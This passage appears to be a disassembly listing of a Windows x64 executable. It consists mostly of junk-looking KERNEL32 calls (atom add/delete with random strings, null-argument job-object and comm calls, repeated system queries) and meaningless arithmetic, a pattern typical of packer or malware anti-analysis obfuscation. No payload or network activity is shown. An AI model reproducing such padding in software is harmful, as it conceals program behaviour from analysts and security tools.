movsx ecx, word [rsp + 0xdc8]
add eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov word [rcx], ax
mov eax, dword [rsp + 0x4a30]
mov ecx, dword [0x14022fb5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d80]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0xf41
mov r9d, 0x20c4
mov r8d, 0x21cc
mov edx, 0x2029
mov rcx, qword [rsp + 0x9800]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4910], eax
movzx ecx, word [rsp + 0x119c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1078], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.ExTKuPfXn6EEC3Y2fn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa560], rax
movzx ecx, word [rsp + 0xf24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10b4], ax
lea rax, [rsp + 0x190]
mov qword [rsp + 0xa568], rax
mov eax, dword [rsp + 0x3e78]
mov ecx, dword [rsp + 0x4a8c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0x8df0]
mov rdx, qword [rsp + 0x9bf0]
mov rcx, qword [rsp + 0x9798]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ba0], eax
movzx eax, word [0x14024f2b8]
movzx ecx, word [rsp + 0x7a0]
xor eax, ecx
mov word [0x14022fb98], ax
mov r9d, 0x1a27
xor r8d, r8d
lea rdx, [rsp + 0x9938]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b2c], eax
lea rax, [rsp + 0x9a18]
mov qword [rsp + 0xa570], rax
mov rax, qword [0x14024f340]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4a28]
shl eax, cl
mov dword [rsp + 0x4880], eax
movzx ecx, word [rsp + 0xfac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x122c], ax
lea rax, [rsp + 0xb9c]
mov qword [rsp + 0xa578], rax
lea rdx, [rsp + 0x9ca8]
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4704], eax
movzx ecx, word [rsp + 0x10e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1230], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
lea rcx, [rsp + 0x1a858]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xa150]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9b90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9730]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x28e], al
lea rcx, [rsp + 0xa580]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0x9dc8]
mov rcx, qword [rsp + 0x9b78]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b74], eax
mov eax, dword [0x14022fb5c]
mov ecx, dword [rsp + 0x4a5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4120], eax
lea rax, [rsp + 0x288]
mov qword [rsp + 0xa588], rax
mov dword [rsp + 0x210c0], 0x11c
lea rcx, [rsp + 0xa358]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, word [rsp + 0x1000]
movsx ecx, word [rsp + 0xef0]
imul eax, ecx
mov word [rsp + 0x738], ax
mov rax, qword [rsp + 0xa3f0]
mov rcx, qword [rsp + 0x95c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8138], rax
movzx eax, word [rsp + 0x6ec]
movzx ecx, word [rsp + 0x1208]
sub eax, ecx
mov word [rsp + 0x1050], ax
mov rax, qword [rsp + 0x99e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x289]
sub eax, ecx
mov byte [0x14022103b], al
mov r9d, 0x19bf
xor r8d, r8d
lea rdx, [rsp + 0xa038]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b2c], eax
mov rax, qword [0x14024f328]
mov eax, dword [rax]
mov dword [rsp + 0x48a4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa590], rax
lea rax, [rsp + 0x84b8]
mov qword [rsp + 0xa598], rax
mov rax, qword [rsp + 0x9838]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa280]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x98b8], rax
mov rax, qword [rsp + 0x9528]
movzx eax, byte [rax]
mov byte [rsp + 0x2a0], al
lea rdx, [rsp + 0xa078]
mov rcx, qword [rsp + 0x9fa0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49a0], eax
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.D08m3EK6GAacqdXxyo6147O79orx3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa5a0], rax
mov rax, qword [rsp + 0x9940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd38]
add eax, ecx
mov word [rsp + 0xc28], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx ecx, word [rsp + 0x1060]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1184], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48b4], eax
movzx eax, byte [0x14024f31a]
mov byte [rsp + 0x2a1], al
lea rcx, [rsp + 0xa5a8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa428]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1030]
and eax, ecx
mov rcx, qword [rsp + 0x9530]
mov word [rcx], ax
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1054], ax
lea rax, [rsp + 0x48cc]
mov qword [0x14024f228], rax
mov rax, qword [0x14024f3c0]
mov rcx, qword [rsp + 0x8f60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8028], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0x9b50]
mov qword [rsp + 0x8e30], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa5b0], rax
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9860]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x2861
mov r9d, 0x1909
mov r8d, 0x1d4d
mov edx, 0x1e70
mov rcx, qword [rsp + 0x9c08]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4a60], eax
mov rax, qword [rsp + 0x9db8]
movzx eax, byte [rax]
mov byte [rsp + 0x2a2], al
lea rcx, str.Sz_ABGY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x122c], ax
mov rax, qword [rsp + 0x98b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1130]
sar eax, cl
mov word [rsp + 0xe44], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa5b8], rax
mov rax, qword [rsp + 0x9560]
mov rcx, qword [rsp + 0x9008]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7b58], rax
mov rax, qword [rsp + 0x9848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4190]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4878], eax
mov rax, qword [rsp + 0x9778]
mov eax, dword [rax]
mov dword [rsp + 0x4ba4], eax
mov rax, qword [rsp + 0x9a68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x296]
add eax, ecx
mov rcx, qword [0x14024f398]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1018]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x100c], ax
movzx eax, byte [rsp + 0x257]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x99e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cf8]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x45fc], eax
lea rax, [rsp + 0x10a8]
mov qword [rsp + 0xa5c0], rax
mov rax, qword [rsp + 0x9fa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x420c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4890], eax
mov rax, qword [rsp + 0xa308]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11f0]
add eax, ecx
mov word [rsp + 0xaf4], ax
mov rax, qword [rsp + 0xa488]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x271]
sub eax, ecx
mov rcx, qword [rsp + 0xa588]
mov byte [rcx], al
mov rax, qword [rsp + 0x99e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1a3], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
lea rcx, [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14024f228]
mov eax, dword [rax]
mov dword [rsp + 0x4ba8], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa548], rax
mov r9d, 0x131f
xor r8d, r8d
lea rdx, [rsp + 0x96d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46f0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa5c8], rax
lea rcx, [rsp + 0x1a798]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
mov word [0x14024f220], ax
movzx ecx, word [rsp + 0xfd4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf14], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rcx, [rsp + 0xa5d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movzx ecx, word [rsp + 0x1108]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1124], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8120]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d58], rax
movzx ecx, word [rsp + 0xf94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1180], ax
mov rax, qword [rsp + 0xa000]
mov qword [rsp + 0xa5d8], rax
mov r9d, 2
lea r8, [rsp + 0xa0d0]
mov rdx, qword [rsp + 0xa5e0]
mov rcx, qword [rsp + 0xa1d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4abc], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa380], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa220], rax
mov rax, qword [rsp + 0xa280]
mov rcx, qword [0x14024f3c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x86e8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rdx, [rsp + 0x9ce8]
mov rcx, qword [rsp + 0x9b28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bac], eax
mov r9d, 1
lea r8, [rsp + 0xa510]
mov rdx, qword [rsp + 0xa3f8]
mov rcx, qword [rsp + 0xa4c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b44], eax
lea rcx, str.HM8VcXg0.U_GLN_B6OkNWN
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1234], ax
lea rcx, str.Zt6wX
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11b0], ax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x1f4a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4910], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.kjbgWdUlQ3LbeTN9FjGpqg0C0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa5e8], rax
movzx ecx, word [rsp + 0xf14]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1070], ax
mov rax, qword [rsp + 0x9218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x289], al
lea rax, [rsp + 0x8138]
mov qword [rsp + 0xa5f0], rax
mov rax, qword [rsp + 0x9c00]
mov rcx, qword [rsp + 0x9f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x93e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa2b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
sar eax, cl
mov word [rsp + 0x658], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cf0], rax
movsx eax, byte [rsp + 0x29e]
mov rcx, qword [rsp + 0x9658]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x29b], al
movzx ecx, word [rsp + 0x104c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1238], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9660]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14024f302], ax
lea rax, [rsp + 0x485c]
mov qword [rsp + 0xa5f8], rax
movzx ecx, word [rsp + 0x1204]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf14], ax
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1030]
sub eax, ecx
mov word [rsp + 0x6d8], ax
movzx ecx, word [rsp + 0x1168]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x123c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9b48], rax
movzx eax, byte [rsp + 0x5b]
movzx ecx, byte [rsp + 0x290]
sub eax, ecx
mov byte [rsp + 0x276], al
mov edx, 0x2430
mov rcx, qword [rsp + 0x9710]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0x9538]
mov eax, dword [rax]
mov dword [rsp + 0x4bb0], eax
movsx eax, word [0x14024f3bc]
movsx ecx, word [rsp + 0x1210]
and eax, ecx
mov word [rsp + 0x10b8], ax
lea rax, [rsp + 0x27c]
mov qword [rsp + 0xa600], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa608], rax
mov rcx, qword [rsp + 0x9e80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0xa610]
mov rcx, qword [rsp + 0xa328]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b88], eax
lea rcx, [rsp + 0x9ee8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9c00]
mov eax, dword [rax]
mov dword [rsp + 0x47c4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0x9838]
mov rcx, qword [0x14022fb60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7af8], rax
mov rcx, qword [rsp + 0x9a80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xee]
mov qword [0x14024f218], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x1164]
mov qword [rsp + 0xa618], rax
lea rcx, str.gdGuHO_cdZVhDa_Tn_o4rGv0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x120c], ax
mov eax, dword [rsp + 0x469c]
mov dword [rsp + 0x49c4], eax
mov rcx, qword [rsp + 0x98e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rax, [rsp + 0x9930]
mov qword [rsp + 0xa620], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0xa4b0]
mov rcx, qword [rsp + 0x95b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa280], rax
lea rcx, str.Lm5zS7l_Aa8m0UVA_n
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1240], ax
lea rcx, [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a6c], eax
mov rax, qword [rsp + 0xa308]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa550]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9170]
mov word [rcx], ax
mov r9d, 0x1bbb
xor r8d, r8d
lea rdx, [rsp + 0x9fe8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4bb4], eax
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa568]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x124], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov r9d, 0x823
xor r8d, r8d
lea rdx, [rsp + 0x9a30]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a48], eax
mov rax, qword [rsp + 0x9a20]
mov ecx, dword [rsp + 0x4988]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4864], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x10bc]
mov qword [rsp + 0xa628], rax
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [0x14024f348]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa320]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14022103f], al
mov rax, qword [rsp + 0xa0d8]
mov eax, dword [rax]
mov dword [rsp + 0x48b8], eax
movzx ecx, word [rsp + 0x11d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1120], ax
mov rax, qword [rsp + 0xa288]
mov rcx, qword [rsp + 0x8110]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8290], rax
movzx ecx, word [rsp + 0x11e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1244], ax
mov rax, qword [0x14022fb60]
mov qword [rsp + 0xa630], rax
movzx ecx, word [rsp + 0xf34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x102c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x110c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1248], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rcx, [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x9ee8]
mov rcx, qword [rsp + 0x95e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bb8], eax
movzx ecx, word [rsp + 0x120c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x102c], ax
movzx eax, byte [rsp + 0x274]
movzx ecx, byte [rsp + 0x296]
sub eax, ecx
mov rcx, qword [rsp + 0x9a70]
mov byte [rcx], al
mov rax, qword [rsp + 0xa588]
movzx eax, byte [rax]
mov byte [rsp + 0x2a3], al
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1f6e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4bbc], eax
mov rax, qword [rsp + 0x9fb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x658], ax
lea rax, [rsp + 0x49d8]
mov qword [rsp + 0xa638], rax
lea rcx, str.IfQJZ8b0_C5DlOuu6OzT1
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10dc], ax
mov rcx, qword [rsp + 0x9570]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0xe34]
mov rcx, qword [rsp + 0x8e58]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9780]
mov word [rcx], ax
lea rcx, [rsp + 0xa510]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa640], rax
mov r9d, 2
lea r8, [rsp + 0x98e8]
mov rdx, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x9ab8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4aac], eax
lea rdx, [rsp + 0x9b10]
mov rcx, qword [rsp + 0x97b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bc0], eax
mov eax, dword [0x14022fb8c]
mov ecx, dword [rsp + 0x495c]
xor ecx, eax
mov eax, ecx
mov dword [0x14022fb9c], eax
mov rax, qword [rsp + 0xa048]
mov rcx, qword [rsp + 0x8cf8]
mov qword [rsp + 0xa648], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa648]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8110], rax
lea rax, [rsp + 0x97b8]
mov qword [rsp + 0xa650], rax
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9f60]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfa4], ax
lea rax, [rsp + 0x270]
mov qword [rsp + 0xa658], rax
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4764]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x420c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
lea rdx, [rsp + 0xa4a0]
mov rcx, qword [rsp + 0x9e78]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bc4], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
movsx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0xa478]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x284], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x93c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa2c]
and eax, ecx
mov word [rsp + 0xa24], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x210c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4a4c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [0x14024f328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4378], eax
lea rax, [rsp + 0x10a4]
mov qword [0x14024f210], rax
mov rax, qword [rsp + 0xa028]
movzx eax, byte [rax]
mov byte [rsp + 0x2a4], al
mov rax, qword [rsp + 0xa2c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x485c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa0d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9688]
mov rcx, qword [rsp + 0x93b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9f78], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa660], rax
mov rax, qword [rsp + 0x9720]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x79f8], rax
mov rax, qword [rsp + 0xa448]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x250]
add eax, ecx
mov byte [rsp + 0x288], al
mov rcx, qword [rsp + 0x99d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x1fec0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x46bc], eax
mov edx, 0x2217
mov rcx, qword [rsp + 0x9990]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4bc8], eax
lea rax, [rsp + 0x4478]
mov qword [rsp + 0xa668], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rcx, qword [rsp + 0x9a80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4914], eax
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1110]
mov rcx, qword [rsp + 0xa4e0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa360]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.AchQWR7nxsJelhO2APHnpiXFv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa670], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [rsp + 0x20], 0x24d
mov r9d, 0x38bb
mov r8d, 0x3806
mov edx, 0x57c
mov rcx, qword [rsp + 0x9d48]
